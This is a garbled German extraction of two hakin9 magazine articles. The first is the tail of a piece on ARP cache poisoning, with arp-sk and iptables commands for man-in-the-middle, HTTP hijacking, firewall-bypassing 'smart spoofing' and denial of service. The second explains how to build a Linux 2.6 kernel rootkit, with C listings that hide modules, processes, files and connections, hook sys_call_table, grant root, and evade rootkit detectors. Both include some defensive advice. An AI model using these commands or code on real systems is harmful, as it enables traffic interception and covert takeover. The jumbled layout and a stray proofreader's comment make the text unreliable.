Und jetzt aktualisieren wir den Cache auf diese Art und Weise (siehe Listing 3). Nun sehen wir uns das Ergebnis an, das ungefähr wie folgt aussehen sollte:
Abbildung 1. Der Man in the Middle Angriff
[batman]$ arp -a robin (192.168.1.2) at 00:10:a4:9b:6d:81 alfred (192.168.1.3) at 00:90:27:6a:58:74
Mögliche Angriffe
Jetzt sind wir nach den erforderlichen Vorbereitungen imstande, die Kommunikation zwischen batman und robin zu stören. Sehen wir uns die möglichen Formen der Attacke an.
Sniffing
Abbildung 2. Proxying
Ein nahe liegender und den größten Spaß bietende Ansatz ist ein Man in the Middle Angriff.
Proxying und Hijacking
Wir sind jetzt imstande, den Verkehr als ein transparenter Proxy mittels Anwendungsstreams umzuleiten. Die IP-Schicht (oder ein beliebiges Tool) muss einfach die Daten zur entsprechenden Anwendung befördern, auch wenn der Zielhost nicht der unsrige ist. Beispielsweise kann joker versuchen, bestimmte Eingaben in einer HTTPTransaktion zwischen batman und robin zu modifizieren: [root@joker]# iptables -t nat -A PREROUTING -p tcp -s robin -d batman --dport 80 -j REDIRECT --to-ports 80
Joker braucht nur einen HTTP-Proxy auf seinem Port 80 einzurichten. So
Abbildung 3. Smart Spoofing kann er beliebige Daten manipulieren. Mehr noch, wenn irgendeine einfache Integritätsprüfung der Daten (beispielsweise mit CRC32, MD5 oder SHA-1) durchgeführt wird, kann joker die Prüfsummen neu berechnen, bevor er die Daten weiterleitet. Die Einschränkungen sind nur die
www.hakin9.org
des Tools, mit dem die Daten behandelt werden. Wenn joker beispielsweise einen Teil einer abgelegten HTTP-Site auf seinem eigenen HTTP-Server führt, deren Teil allerdings etwas modifiziert ist, werden die Abfragen des unangetasteten Teils direkt an die
hakin9 Nr. 3/2006
29
Fokus
richtige Site weitergeleitet. Abbildung 2 zeigt, wie das nach den folgenden Modifikationen aussieht: [root@joker]# arp-sk -r -d robin -S batcave-gw -D robin [root@joker]# arp-sk -r -d batcave-gw -S robin -D batcave-gw [root@joker]# arp-sk
[root@joker]# arp-sk -r -d batcave-gw -S robin -D batcave-gw
Mit dem Einsatz von Linux wird der Angriff umso einfacher, da Netfilter NAT-Funktionalitäten automatisch Pakete sortieren, die jeweils zu den eigenen Verbindungen des Angreifers gehören und nicht:
-r -d batman -S batcave-gw -D batman [root@joker]# arp-sk
[root@joker]# iptables
-r -d batcave-gw -S batman
-t nat -A POSTROUTING
-D batcave-gw
-j SNAT --to 192.168.1.2
[...]
Bei solch einer Konfiguration verschickt joker ICMP-Redirects an die vergifteten Hosts. Um das zu vermeiden, müssen wir diese Art von Paketen sperren. Unter Linux erfolgt das mittels IP sysctl:
Ein Denial of Service ist ein sehr einfacher Angriff, der beim Herumspielen mit ARP-Meldungen durchgeführt werden kann. Man braucht lediglich alle umzuleitenden Pakete zu verwerfen:
[root@joker]# echo 0
[root@joker]# iptables
> /proc/sys/net/ipv4/conf/
-A FORWARD -s robin -d batman -j DROP
all/send_redirects
Umgehen von Firewalls (Smart Spoofing)
Mit ARP Cache Poisoning bringt der böswillige Nutzer seinen Rechner auf die Kommunikationsroute zwischen dem Server und dem Client. Dank IP Forwarding wird der Verkehr an den Client nach wie vor weitergeleitet. Natürlich sind ICMP Redirects auf dem Angreiferrechner gesperrt. Schließlich spooft der böswillige Nutzer die IP-Adresse des Clients und baut eine neue Verbindung zum Server auf. Dann kann er beliebige typische Netzwerkanwendungen Verbindungen zum Server mit der IP-Adresse des Clients herstellen lassen. Jegliche IP-basierte Zugriffskontrolle wird dadurch nutzlos. Darüber hinaus wird der bestehende Verkehr nicht gestört und der Smart Spoofing Angriff kann serverseitig nicht als solcher erkannt werden. Indem man sich für einen anderen Host im Netzwerk ausgibt und bestimmte Verbindungen abfängt, kann man Firewalls umgehen, indem die Regeln des gespooften Clients angewendet werden. Dazu braucht joker keine doppelten Umleitungen (ARP MiM) wie es bei der vorigen Methode der Fall war:
30
Denial of Service
hakin9 Nr. 3/2006
Wenn man den Verkehr lieber nicht über den eigenen Rechner leiten möchte, kann man auch ein schwarzes Loch in ARP erzeugen, indem man Pakete an ungenutzte MACAdressen verschickt. [root@joker]# arp-sk -r -d robin -S batman --rand-arp-hwa-src -D robin
Jetzt glaubt robin, batman sei tot.
Zusammenfassung
Wegen Sicherheitslücken im ARPProtokoll und dem daraus resultierenden Smart Spoofing Angriff können IP-basierte Mechanismen der Zugriffskontrolle in vielen Fällen umgangen werden. Wenn gespoofte ARP-Antworten verschickt werden, spüren die meisten IDS, die an allen Ports im Switch lauschen, doppelte IP-Adressen auf, sperren den Angriff allerdings eigentlich nicht. Außerdem kann diese Schutzmaßnahme die Aufstellung einer ganzen Reihe von NIDS in vielen Netzwerken erfordern. Ein anderer Weg wäre, hostbasierte IDS einzurichten, um ARPMeldungen zu überwachen und die Konsistenz der ARP-Tabellen aufrecht
www.hakin9.org
Über den Autor
Kristof De Beuckelaer ist Student und lebt in Belgien. Sein Interesse für Sicherheitsfragen hat gleich am ersten Tag begonnen, an dem er über Linux, Exploits, Sicherheitskorrekturen, Netzwerke usw. gelesen hat und damit zu experimentieren begann. Seit etwa 4 oder 5 Jahren ist er aktives Mitglied mehrerer Benutzergruppen, von Codern bis hin zu Autoren, von Windows bis hin zu Linux. Seine erste Erfahrung mit Linux war eine Terminalsitzung und seitdem ist das Experiment nie zu Ende; etwas später kam sein erstes selbstgebautes linuxbasiertes Betriebssystem für seine persönliche Nutzung.
Gedanken
Vielen Dank Laurent Licour & Vincent Royer für die neue Smartspoofing Technik zu schaffen, die in diesem Artikel benutzt würde.
zu erhalten. Das für viele UNIX-Plattformen verfügbare arpwatch führt eine Datenbank der MAC-Adressen, die im Netzwerk erkannt wurden und der damit assoziierten IP-Adressen. Wenn sich etwas um diese Assoziationen herum ereignet, benachrichtigt es den Administrator per E-Mail, beispielsweise bei einem neuen Knoten/neuer Aktivität, bei Flipflops, Änderungen, sowie bei der Wiederverwendung alter Adressen. Man sollte einen zuverlässigen Mechanismus zur Zugriffskontrolle, starke Authentifizierung statt der Identifizierung per IP-Adressen oder Klartextpasswörtern einsetzen. VPN-Protokolle wie SSH, SSL oder IPSec verbessern die Sicherheit wesentlich, indem sie Authentifizierung, Integritätskontrolle und Vertraulichkeit gewährleisten. Es gibt also einige Methoden, sich gegen ARP-bezogene Angriffe zu wehren, duplizierte MAC-Adressen an einem Switch zu erkennen und/ oder Sticky-ARP zu aktivieren. So kann Änderungen der MAC-Adressen an Endknoten vorgebeugt werden, allerdings bei einem potenziell hohen administrativen Aufwand. l
Techniken
Fortgeschrittene Entwicklung von L2.6KM Rootkits Pablo Fernández
Schwierigkeitsgrad
Die Installation eines Rootkits ist die Phase, die einen kompromittierten Rechner von einem besessenen trennt. Dieser Artikel konzentriert sich auf die Entwicklung eines Rootkits für den Linux Kernel der 2.6 Reihe. Das Hauptthema sind Techniken und Methoden, wie die Aktivitäten des Angreifers im System verborgen bleiben können, sowie die Detektion von Rootkits auf einem übernommenen Rechner.
K
enntnisse der Rootkit-Internals sind in vieler Hinsicht von einem enormen Wert; ein Angreifer besitzt eigentlich kein Systemrecht, solange er keine gute Art und Weise ermittelt, das gesamte System zu kontrollieren; ein Systemadministrator muss wissen, wie sie funktionieren, um feststellen zu können, ob das System kompromittiert worden ist. Dieser Artikel beschreibt die wichtigsten Techniken am Beispiel eines echten, erweiterbaren LKM-Rootkits namens SIDE, das für die aktuelle 2.6-Serie von Linuxkernels bestimmt ist. In weiteren Artikeln dieser Reihe werden dem Rootkit weitere Funktionalitäten hinzugefügt.
Verstecken eines Moduls
Da das Rootkit im System als ein Kernelmodul arbeiten soll, muss dafür gesorgt werden, dass es nicht mit Befehlen wie lsmod bzw. über /proc/modules entdeckt werden kann. Der Code in Listing 1 kümmert sich darum. Um sein Prinzip zu verstehen, müssen wir wissen, wie Module im Kernel organisiert sind und was die theoretischen Grundlagen dieser Verstecktechnik sind (siehe der Kasten Modules). Grundsätzlich löst sich das Modul dank diesem Code von der Kernelinternen kreisförmigen doppelt verlinkten Liste der geladenen Module.
32
hakin9 Nr. 3/2006
Verstecken von Prozessen
Die Fähigkeit, Prozesse vor jedem Systemnutzer (Root inklusive) zu verstecken, ist eins der Grundfeatures, die ein Rootkit implementieren sollte. Tools aus dem Userspace (wie ps(1) oder top(1)) erfahren über Aufgaben (Prozesse), in-
In diesem Artikel erfahren Sie.. • • • •
wie ein Betriebssystem mit Programmen im Userbereich interagiert; was Systemaufrufe sind und wie man die Systemaufruftabelle findet; wie man Module, Prozesse, Netzwerkverbindungen und Filter versteckt; wie Rootprivilegien normalen Nutzern aus dem Kernel heraus verliehen werden können.
Was Sie vorher wissen/können sollten... • • •
www.hakin9.org
C-Programmierkenntnisse; Linuxkenntnisse; ein Verständnis von Begriffen wie Aufgaben, Dateien usw.
Fortgeschrittene Entwicklung von L2.6KM Rootkits
dem sie Informationen aus dem /procVerzeichnis auslesen. Jede Aufgabe im System legt einen Eintrag in Form von /proc/
an, dem Informationen über diesen Prozess entnommen werden können. Die Userspace -Tools öffnen das /proc-Verzeichnis und überprüfen, ob /proc/ vorhanden sind, wo 1 <= n <= pid_max; wenn es das Verzeichnis nicht gibt, wird die PID als frei betrachtet, und wenn das Verzeichnis existiert, können Informationen daraus ausgelesen werden. Dies vorausgesetzt und mit den Kenntnissen der VFS-Einbauten (siehe Kasten Unter der VFS-Haube) kann man Userspace-Tools täuschen, so dass sie glauben, die PIDs mit existierenden Verzeichnissen seien frei. Dies erfolgt, indem der readdir-Aufruf auf der VFS-Schicht unterbrochen wird. Dafür muss die Tabelle mit der Adresse des readdirAufrufs modifiziert werden, so dass sie auf einen neuen Codeabschnitt hinweist, der diese Funktion neu implementiert. Das Ziel, readdir zu unterbrechen, ist, das filldir-Argument zu modifizieren, so dass es auf eine andere Implementation von filldir verweist, die die Verzeichnisse der zu versteckenden PIDs verstecken.
Rootkitdetektoren
Rootkitdetektoren setzen bei der Suche nach versteckten Prozessen eine Technik ein, die im Schicken eines SIGCONT-Signals an alle möglichen Prozesse besteht. Signale werden an Prozesse mit dem kill(2)-Systemaufruf geschickt.
Listing 1. Verstecken eines Moduls lock_kernel(); /* Held the kernel lock to prevent faulting in SMP systems */ __this_module.list.prev->next = __this_module.list.next; __this_module.list.next->prev = __this_module.list.prev; __this_module.list.prev = LIST_POISON1; /* A common practice in kernel development */ __this_module.list.next = LIST_POISON2; /* to invalidate a list that shouldn't be used */ unlock_kernel();
Listing 2. Ein Abschnitt aus /proc's filldir reimplementation if (!(process = _atoi(name, &process))); /* If this isn't a PID just call the original filldir */ else if (!process_is_authed(current) && process_is_hidden(process)) /* If process is hidden */ return 0; /* don't show it (unless current is superroot) */ if (p_proc_filldir) return p_proc_filldir(buf, name, nlen, off, ino, x);
Wenn ein Signal an einen nicht existierenden Prozess geschickt wird, gibt kill(2) den Wert -1 aus und stellt errno auf ESRCH ein, und wenn es den Prozess gibt, ist die Ausgabe von kill(2) der Wert 0. Auf diese Art und Weise erkennen Rootkitdetektoren die Präsenz von Prozessen, ohne auf die Daten aus /proc zuzugreifen. Danach wird die resultierende Liste mit der Liste der Prozesse verglichen, die in /proc aufgeführt sind. Wenn Unterschiede zwischen den beiden Listen festgestellt werden, bedeutet es, dass ein Prozess vor dem Userspace versteckt ist. Vom Rootkit-Standpunkt ist die Täuschung eines Rootkitdetektors, der diese Technik einsetzt, eine ein-
fache Codeerweiterung. Alles, was das Rootkit zu tun braucht, ist den kill(2)-Systemaufruf abzufangen (siehe Kasten Systemaufrufe) und wenn ein Signal von jemandem anderen als der Superroot-Nutzer (siehe Kasten Superroot) an den versteckten Prozess geschickt wird, sollte die neue Rückruffunktion ESRCH ausgeführt werden. Wenn es aber doch der Fall ist, dass das Signal vom SuperrootNutzer geschickt wird, sollte die echte kill(2)-Funktion aufgerufen und der echte Wert ausgegeben werden.
Danach: die Rootkitdetektortechnik
Ein Rootkitdetektor kann Rootkits auf mehrere Weisen aufspüren. Da User-
Abbildung 1. Änderungen des sys_call_table
www.hakin9.org
hakin9 Nr. 3/2006
33
Techniken
Listing 3. Ersatz für sys_kill() asmlinkage int new_kill(pid_t pid, int sig) { struct siginfo info = { .si_signo = sig, .si_errno = 0, .si_code = SI_USER, .si_pid = current->tgid, .si_uid = current->uid }; if (!process_is_hidden(pid) || process_is_authed(current)) return kill_proc(pid, sig, &info); return -ESRCH; }
space-Tools ohne großen Aufwand getäuscht werden können, gibt es keinen Grund, Rootkitdetektoren darin laufen zu lassen. Sobald sich ein Programm im Kernelbereich findet, ist es kinderleicht, die sys_call_table auf Modifikationen hin zu prüfen. Auch die Suche nach versteckten Prozessen wird einfacher, da sie nicht so einfach aus der Prozessliste wie Module gelöst werden können; nur dank der Präsenz auf der Liste können sie einen Ausführungszeitanteil zugewiesen bekommen. Während einige Rootkitdetektoren manche dieser Techniken einsetzen, bleiben die meisten im Userspace. Die Lehre für paranoide Administratoren ist, sich nicht blind auf Rootkitdetektoren zu verlassen.
Verstecken von Netzwerkverbindungen
Userspace-Programme und Anwendungen erfahren über den Netzwerkverkehr aus /proc/net, und zwar aus einigen der dort befindlichen Einträge (die wie Dateien aussehen, sind aber eigentlich proc_dir_entryStrukturen) wie tcp oder tcp6 (wenn CONFIG_IPV6 aktiviert ist). Diese Einträge enthalten Informationen über die Netzwerkaktivität im System. Mit einer anderen Methode können auch Leseaufrufe abgefangen werden, also können die ausgegebenen Informationen unterwegs modifiziert werden. Während die Netzwerkverbindung aktiv bleibt (oder ein Socket sich im LISTEN Zustand befindet), sehen sie netstat und ähnliche Tools nicht. SIDE bietet eine sehr hübsche Art und Weise, Netzwerkverbindungen zu verstecken, sehr ähnlich (obwohl von
34
hakin9 Nr. 3/2006
bei weitem geringerer Funktionalität) wie Netfilter das tut. Eine Liste von Bedingungen und Befehlen wird zur Ausführungszeit erzeugt (siehe Tabelle 1) und wenn Informationen über Sockets abgefragt werden, wird die Liste an jeden Sockel angepasst. Wenn eine der Regeln passt, wird der mit der jeweiligen Bedingung assoziierte Befehl ausgeführt. Der Befehl kann entweder show oder hide den Sockel im Userspace. Die Liste ist ziemlich mächtig. Standardaktionen können mit der allBedingung am Ende der Liste definiert werden, so dass die Anwendung sie zur Ausführungszeit laden und gar Standardbefehle auf das Laden eines Moduls hin ermöglichen. Die Methode, Netzwerkverbindungen zu verstecken, besteht darin, dass das Handle des proc_dir_entry ds Protokolls abgefangen wird, das sich wie tcp. proc_dir_entry-Elemente im /proc/net-Raum befindet, und über die kreisförmige doppelt verlinkte Liste unter proc_net->subdir erreicht werden kann. Eine Iteration darüber nach dem korrekten Namen im node->nameMitglied sollte es ermöglichen. Wurde die Struktur einmal abgefangen, muss der seq _show-Zeiger
Abbildung 2. Die VFS-Schicht
www.hakin9.org
mit einer Neuimplementation der Funktion überschrieben werden. Die Implementation von SIDE liest die entsprechenden Daten (mit der Originalfunktion) aus und vergleicht jede Zeile davon mit den geladenen Regeln, indem sie die vorgegebenen Aktionen für jede angepasste Zeile anwendet.
Das Problem
Der Charakter des Netzwerkverkehrs macht es unmöglich, Einbrecheraktivität vor einem schlauen Administrator wirklich zu verbergen. Typischerweise liegen einige Hops zwischen dem kompromittierten System und dem anderen Kommunikationsendpunkt. Diese Hops werden diesen verheimlichten Verkehr klar zeigen und man kann dagegen wenig unternehmen. Grundsätzlich wird ein verstecktes Socket im LISTEN-Modus auch wenn noch keine Verbindung hergestellt wurde, von nmap als ein offener Port angezeigt, was netstat nicht kann. Etwas, dass dieses Problem umgehen lässt, ist (bestimmt) der Einsatz von Port Knocking (hakin9 6/2005). Sobald aber die Verbindung hergestellt ist und der Verkehr begonnen hat, kann er ohne weiteres aufgespürt werden (Removing spiderwebs – detection of illegal connection sharing, hakin9 3/2005). Ein netter Trick wäre, überhaupt keine Verbindung aufzunehmen, sondern mit ICMP bzw. UDP-Paketen zu kommunizieren und das System kontrollieren und Informationen daraus auszulesen. So kann der Angreifer das kompromittierte System sogar steuern, ohne Spuren
Fortgeschrittene Entwicklung von L2.6KM Rootkits
zu hinterlassen, indem er gespoofte UDP- oder IMP-Pakete einsetzt. Das hier besprochene Rootkit wird in weiteren Artikel ausgebaut und um mehrere Features erweitert, auch die obigen.
Verstecken von Dateien
Ein System wird oft kompromittiert, um als eine sichere Ausführungsplattform für [D]DoS-Angriffe oder als ein Vermittlungsknoten zwischen dem Angreifer und einem anderen kompromittierten System zu dienen. Meist braucht der Fremdling einige Dateie ins System einzuschleusen, um diese Angriffe durchführen zu können. Wenn derartige Tools vom Administrator gefunden werden, ergeben sich natürlich Fragen. Daher sollte ein Rootkit immer fähig sein, Dateien im System zu verstecken, auch hier vor allen Benutzern, Root inklusive. Wieder werden VFS-Kenntnisse umgesetzt, um diese Operationen auf die selbe Art und Weise wie bei Prozessen durchzuführen. Diesmal bewahrt das fs-Objekt eine Liste versteckter Dateinamen auf. Diese Dateinamen sind nicht mit Pfäden versehen, also impliziert das Verstecken einer Datei in einem Verzeichnis das automatische Verstecken jeder Datei mit demselben Namen in allen Verzeichnissen. Der Zweck dieser Funktionalität ist, den Superroot zu zwingen, keine standardkonformen Namen zu verwenden, da es ja andere Fälle gibt, die hier nicht behandelt werden – beispielsweise werden zwar versteckte Dateien nicht in Verzeichnissen aufgelistet, sind aber nach wie vor über Systemaufrufe wie open(2), stat(2) usw. abrufbar. SIDE bietet zurzeit kein Mittel, Dateien vor diesen (und einigen anderen wie rename(2))Zugriffsmethoden zu verstecken. Vorschlag: Es wäre eine gute Übung, diese Features nach der
Listing 4. Suche nach sys_call_table unsigned long ptr; extern int loops_per_jiffy; for (ptr = (unsigned long) &loops_per_jiffy; ptr < (unsigned long)&boot_cpu_ data; ptr += sizeof(void *)) { unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (u32) sys_close) /* When this condition is met p points to sys_call_table */ return (u32 **) p; }
Listing 5. Abfangen eines Systemaufrufs u32 **sys_call_table; asmlinkage int (*old_open)(const char *, int, mode_t); if ((sys_call_table = find_sys_call_table())) { old_open = (void*) sys_call_table[__NR_OPEN]; sys_call_table[__NR_OPEN] = (u32*) new_open; }
Lektüre dieses Artikels auf eigene Faust hinzuzufügen. Achtung – die verwendete Methodologie ist systemabhängig. Wenn SIDE Dateien unter verschiedenen Mountpoints verstecken können soll, muss die vfs.c-Datei so modifiziert werden, dass sie diese Mountpoints beim Verstecken berücksichtigt. Es ist völlig sicher, die Attribute readdir und filldir wie im Hauptdateisystem zu nutzen.
Das Problem
Auch das Verstecken von Dateien hat seine angeborenen Probleme, die denen mit Netzwerkverbindungen ähneln. Dateien werden auf Trägern gespeichert, die auf verschiedene Weisen ausgelesen werden können, etwa mit einer Rettungs-CD-ROM, wo der Nutzer die Root-Partition einbinden kann. Da das Rootkit nicht in den laufenden Kernel geladen ist, werden die versteckten Dateien nicht mehr versteckt. Es gibt mehrere Weisen, wie es schwieriger gemacht
Glossar • •
LKM – Linux Kernel Module; VFS – Virtual File System bzw. Virtual Filesystem Switch.
www.hakin9.org
werden kann, diese Dateien aufzufinden. Die einfachste und häufigste Sicherheitsmaßnahme ist Sicherheit durch Verworrenheit, das Speichern von Dateien in untypischen Plätzen und unter nichtssagenden Namen. Ein anderer, viel besserer Ansatz ist, alle Dateien im Loopback-Dateisystem aufzubewahren; natürlich muss dabei so vorgegangen werden, dass solch ein eingebundenes Dateisystem weder für mount(8) noch unter /proc/mounts sichtbar ist. Dieser Ansatz ermöglicht auch eine unaufwändige Verschlüsselung des Systems. Sollten Administratoren also Verdacht schöpfen, können sie sowieso nicht sehen, was in diesem Dateisystem drin steckt.
Normaler Nutzer mit Rootprivilegien
Der Benutzer superroot besitzt spezielle nicht-null UID und GID, also verfügt er nicht über Rootprivilegien. Natürlich ist das nicht akzeptabel, also implementiert SIDE einen Mechanismus, der jedem Prozess des Benutzers superroot die UID 0 verleiht. Auch das wird getan, indem ein Abruf der lookup()-Funktion im /proc -Verzeichnis unterbrochen wird. Wenn ein authentifizierter Prozess (siehe Kasten Superroot) auf etwas darin
hakin9 Nr. 3/2006
35
Techniken
zugreift, werden seine UID und alle damit verbundenen Werte auf 0 (Root) gesetzt und bestimmte Funktionalitäten wie cap_effective, cap_inheritable und cap_permitted aktiviert. Wenn der Prozess auf nichts in /proc zugreift, arbeitet er mit der Superroot UID. Also werden kleine, einfache Programme wie der whoami-Befehl nicht als RootProzesse identifiziert.
Usability zur Ausführungszeit
gibt es mehrere Befehle. Der Bündigkeit halber werden einige davon in Tabelle 1 aufgelistet. Informationen über die übrigen Befehle sind in der COMMANDS.txt-Datei im Paket zu finden. Befehle sollten wie folgt aufgerufen werden: echo > /proc/[Objekt].[Befehl[=Argume nte]]
Module
SIDE bietet zur Ausführungszeit eine sehr bequeme Benutzeroberfläche. In vfs.c fängt das Rootkit lookup()Aufrufe innerhalb des /proc-Dateisystem ab. So kann superroot (siehe Kasten Superroot) mit dem Rootkit interaktiv arbeiten, um es beispielsweise einen Prozess verstecken oder einem Benutzer Root- bzw. Superroot-Privilegien verleihen. Befehle an den Rootkit zu schicken ist ziemlich einfach, da der Benutzer lediglich zu versuchen braucht, auf eine Datei im /proc-Dateisystem zuzugreifen. Der Dateiname wird dann als Befehl interpretiert. SIDE fasst Befehle Objekten nach zusammen, also werden sie, je nachdem, was der Benutzer tun will, für konkrete Objekte ausgeführt. Zurzeit unterstützt SIDE drei verschiedene Objekte: net zur Manipulierung der Netzwerkliste; sys zur Behandlung von Prozessen und nutzerbezogenen Eigenschaften; fs zur Manipulierung der Liste versteckter Dateien.Für diese Objekte
Geladene Module werden im Kernel in einer kreisförmigen doppelt verlinkten Liste aufbewahrt, wo jeder Knoten einem struct module entspricht (diese Module sind in include/module.h definiert). Module werden typischerweise aus dem /proc/modules-Eintrag ausgelesen. Die Modulliste wird durch m_show in kernel/module.c erstellt, indem die genannte verlinkte Liste abgeklappt wird. Die Tatsache, dass auf die Liste aus jedem Modul zugegriffen werden kann, lässt sie bearbeiten und manipulieren. Die Art und Weise, ein Modul zu verstecken, ist es von der verlinkten Liste zu lösen, indem der vorige und der nächste Knoten direkt miteinander verknüpft werden. Dieser Ansatz wurde in dem interessanten Artikel von Mariusz Burdach in hakin9 3/2005 ausführlich besprochen.
Systemaufrufe
Systemaufrufe bilden eine kernelseitige Schnittstelle zwischen dem Userspace und dem Kernel. Alles, was vom
Kernel in den Userspace oder umgekehrt übertragen wird, muss über einen Systemauffruf passieren. Dies ist die Hauptursache, warum Rootkits immer besonders darauf abzielen, sie abzufangen, denn die Kontrolle über Systemaufrufe bedeutet die Kontrolle darüber, was der Benutzer zu sehen bekommt und tun kann. Es gibt viele Systemaufrufe, wie open(2), read(2) usw. Alle diese Funktionen werden über Zeiger in dem Array namens System Calls Table, besser bekannt als sys_call_table, referenziert. Historisch gesehen genügte zur Modifizierung des sys_call_table einfach, den erwünschten Zeiger mit einer neuen Adresse im Speicher (wo sich die neue auszuführende Funktion befand) zu überschreiben. So konnte jeder Systemaufruf (bis auf execve(2), der vorsichtiger aufgerufen werden muss) ohne großen Aufwand abgefangen werden. Zum Glück bzw. leider exportiert Linux seit der 2.5.41Version das sys_call_table nicht mehr; es befindet sich zwar nach wie vor im Speicher, Module können aber nicht mehr auf seine Adresse zugreifen. Es gibt einen Weg, die richtige Adresse zu ermitteln: /usr/src/ linux/include/asm/unistd.h listet die Reihenfolge des sys_call_table mit __NR-Konstanten auf, die den Adressabstand der einzelnen Systemaufrufe im Array angeben, und da die Adressen aller Systemaufrufe bekannt sind (jeder wird exportiert), kann der Speicher nach sys_call_ta-
Tabelle 1. Befehlliste Befehl
Beispiel
Beschreibung
net.hide.src=[IP]
net.hide.src=192.16
Netzwerkverbindungen verstecken, wenn die Quelladresse [IP] ist
8.0.10 net.show.dstport=[PORT]
net.show.dstport=22
Alle Netzwerkverbindungen anzeigen, in denen der Zielport [PORT ] ist
sys.superroot=[KEY]
sys.superroot=dSi2d_ q@d
Superroot-Privilegien verleihen, wenn der Schlüssel [KEY ] korrekt ist
sys.hide=[PID]
sys.hide=1
Den Prozess mit der PID [PID ] verstecken
sys.show=[PID]
sys.show=5982
Den versteckten Prozess mit der PID [PID ] anzeigen
sys.guid=[UID],[GID]
sys.guid=1000,1000
Superroot-Privilegien zurückziehen, die UID auf [UID ] und die GID auf [GID ] einstellen
fs.hide=[DATEINAME]
fs.hide=dfdfdf-nc
Dateien mit dem Namen [FILENAME ] verstecken
fs.show=[DATEINAME]
fs.show=dfdfdfdf-
Versteckte Dateien mit dem Namen [FILENAME ] anzeigen
arpspoof
36
hakin9 Nr. 3/2006
www.hakin9.org
Fortgeschrittene Entwicklung von L2.6KM Rootkits
Über den Autor
Geboren in Temperley, Argentinien, ist Pablo Fernández ein 21-jähriger Softwareentwickler mit mehr als 6 Jahren GNU/Linux-Erfahrung und 4 Jahren Tätigkeit im Sicherheitsbereich. Pablo hat mehrere Open Source Programme veröffentlicht, ist der Autor von dem GNOME-Mailclient Cronos II und proxychain sowie hat u.a. zu Projekten wie Nmap (für das er die neueste völlig unmerkbare Proxyscanmethode erarbeitet hat) beigetragen.
Im Internet •
http://www.littleQ.net/SIDE/ – die Homepage von SIDE.
ble durchsucht werden. Der Code hierfür deklariert einfach einen Zeiger, der mit einer niedrigen Speicheradresse beginnt (typischerweise der Adresse von loops_per_jiffy) und iteriert, bis sein __NR-Abstand der richtigen Adresse des erwünschten Systemaufrufs gleicht. Wenn eine Adresse im oberen Speicherbereich (beispielsweise boot_cpu_data) erreicht wird, ist etwas falsch gegangen (vielleicht fängt ein Modul bereits den gesuchten Systemaufruf sys_call_table ab) und das Systemaufrufarray konnte nicht gefunden werden. Ist es der Fall, sind keine Unterbrechungen der Systemaufrufe möglich. Dies ist allerdings völlig unabhängig von VFS-Unterbrechungen. Nachdem sys_call_table gefunden worden ist, sind Änderungen daran nicht schwieriger als früher. In Listing 3 steht ein Beispiel, wie der Systemaufruf open(2) abgefangen wird. Es ist wichtig, daran zu denken, dass Systemaufrufe für das System von kritischer Bedeutung sind. Wenn ein Systemaufruf abgefangen wird und die neue Rückruffunktion (in Listing 3: new_open) sich fehlerhaft verhält, geht es dem System ebenso, möglicherweise bis zur völligen Destabilisierung. Meistens wird der eigentliche Systemaufruf aus der neuen Rückruffunktion heraus aufgerufen, wenn die Funktion entscheidet, ihn zu erlauben. Daher
speichert der Code aus Listing 3 den Zeiger auf die Originalfunktion. Wenn das Modul also ausgebunden werden soll, wird sys_call_table so geändert, dass wieder die Originaladresse abgerufen wird.
Unter der VFS-Haube
Das Virtual File System bzw. Virtual Filesystem Switch ist eine Schicht zwischen dateibezogenen Systemaufrufen (wie open(2)) und der eigentlichen Implementationen des Dateisystems (wie ext2, ext3, reiserfs, jfs usw.). Es bietet eine gemeinsame Schnittstelle, die die Arbeit der Dateisystem-Entwickler erleichtert. Dateisystem-Implementationen müssen eine Reihe vordefinierter Funktionen und Methoden implementieren und die VFS-Schicht darüber benachrichtigen. Die Methoden werden durch VFS mit Funktionszeigern als Rückruffunktionen aufgerufen. Grundsätzlich stellt VFS eine Struktur bereit, die jedes Dateisystem füllen und sich bei der VFS-Schicht anmelden muss. In dieser Struktur sind Informationen vorhanden, die die Adressen dieser Rückruffunktionen ermitteln lassen. Bei der Entwicklung eines Rootkits ist readdir wohl der interessanteste Aufruf. Diese Rückruffunktion bietet den Algorithmus zum Aufruf der filldirFunktion, die für jede Datei bzw. jedes Verzeichnis aufgerufen wird, die bzw. das durch readdir ausgelesen wird. Ihr Ausgabewert dient zur Aufbereitung der Informationen über die Leseoperation am Verzeichnis. In diesem Artikel wird ein Ansatz intensiv umgesetzt, wo der filldirAusgabewert 0 verwendet wird. Dieser Wert veranlasst readdir, Informationen über das ausgelesene Objekt zu verwerfen.
Superroot
Wenn jeder Systemnutzer ein Rootkit kontrollieren könnte, mit dem das System heruntergefahren werden kann, wäre es kein gutes Tool. Bevor SIDE jegliche Befehle ausführt, muss sich der Benutzer authentifizieren, und zwar mit dem
www.hakin9.org
Befehl sys.superroot. Damit dieses Kommando den Benutzer erfolgreich identifiziert, muss ein Schlüssel als Parameter des Befehls überreicht werden. Der Schlüssel ist eine (meist) zufallsbasierte Kette, die die jeweilige Installation identifiziert. SIDE wählt den Schlüssel für die jeweilige Instanz im configure-Skript. Wenn der korrekte Schlüssel angegeben wird, werden die UID und GID des Benutzers so geändert, dass sie auf den Benutzer Superroot verweisen (auch diese Werte werden durch configure eingestellt). Superroot-Privilegien sind erforderlich, damit Befehle ausgeführt und sonst versteckte Informationen angezeigt werden können.
Zusammenfassung
In diesem Artikel wurden verschiedene Techniken und Ansätze dargestellt, die bei der Entwicklung eines Rootkits für den Linuxkernel der 2.6Reihe umgesetzt werden können. Besprochen wurden Methoden, die Netzwerkverbindungen, Prozesse, Module und Dateien verstecken lassen, sowie Gegenmaßnahmen, die von Rootkitdetektoren ergriffen bzw. von Entwicklern und Administratoren ergriffen werden sollten. Softwareentwicklung rund um den Linuxkernel ist ein Land der Gelegenheiten für Hüte aller Farben. Das hier ist nur die Spitze eines Eisbergs, in der Realität ist es ein weites, weites Feld. Ich habe „wo 1 <= n <= pid_max” rot markiert, da dieser Teil keinen richtigen Sinn ergibt. Da ich aber nicht viel Erfahrung mit Programmiersprachen habe, kann ich diesen Teil nicht umstellen, da sonst vielleicht der Sinn verändert wird. Das Ende des Satzes fehlt und scheint zusammengewürfelt: Der Befehl kann entweder show oder hide den Sockel im Userspace Der Begriff Nmap kommt 2 mal vor, einmal groß und einmal klein Geschrieben. Ich kenne diesen Begriff nicht und kann ihn daher nicht verbessern. Ich finde den Artikel bis auf die Markierten Sätze gut verständlich und leicht zu merken l
hakin9 Nr. 3/2006
37
Rezensionen
